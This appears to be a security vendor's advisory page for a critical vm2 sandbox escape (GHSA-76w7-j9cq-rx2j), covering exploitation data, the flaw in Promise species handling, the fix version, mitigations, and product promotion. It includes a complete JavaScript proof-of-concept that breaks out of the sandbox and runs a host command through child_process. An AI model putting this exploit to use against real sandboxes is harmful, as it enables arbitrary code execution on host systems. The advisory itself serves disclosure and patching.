GHSA-76w7-j9cq-rx2j is a critical-severity (CVSS 10) CWE-913 vulnerability in vm2. O3 Security confirms whether GHSA-76w7-j9cq-rx2j is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
vm2 is Vulnerable to Sandbox Breakout Through Promise Species
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-76w7-j9cq-rx2j.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-76w7-j9cq-rx2j plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
vm2npmDescription
Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The localPromise constructor was changed to call this.then(undefined, eater) to ensure a rejected promise is always used. However, this is missing a call to resetPromiseSpecies to ensure that this has no special species. Since the species can be changed a custom promise can be used to supply a custom reject method to the executor allowing to get a raw host error and escape the sandbox.
PoC
const {VM} = require("vm2");
const vm = new VM();
vm.run(`
class E extends Error {}
function so(d) {
if (d > 0) so(d-1);
const e = new E();
e.stack;
throw e;
}
let ex, ct;
class FakePromise extends Promise {
static get [Symbol.species](){return ct;}
}
function doCatch(f) {
ex=undefined;
const p=Promise.withResolvers();
ct = function(e){e(f, v=>{ex=v;p.resolve();})};
new FakePromise(r=>r());
return p.promise;
}
(async function f(s) {
let min = s;
let max = 100000;
while (min<max) {
const mid = (min+max)>>1;
await doCatch(()=>so(mid));
if (ex.name==="RangeError" && !(ex instanceof RangeError)) {
ex.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
return;
}
if (ex instanceof E) {
min = mid+1;
} else {
max = mid;
}
}
f(s+1);
})(0);
`);
Impact
Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | vm2 | all versions | 3.11.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vm2. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update vm2 to 3.11.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-76w7-j9cq-rx2j is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-76w7-j9cq-rx2j is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-76w7-j9cq-rx2j. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
Exploitation requires an attacker to supply untrusted malicious code to the vm2 sandbox, which is easily achieved since the component's main purpose is to execute untrusted code. Escaping the sandbox completely bypasses the intended security boundaries, leading directly to arbitrary code execution on the host system…
Frequently Asked Questions
Is GHSA-76w7-j9cq-rx2j in your dependencies?
O3 detects GHSA-76w7-j9cq-rx2j across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.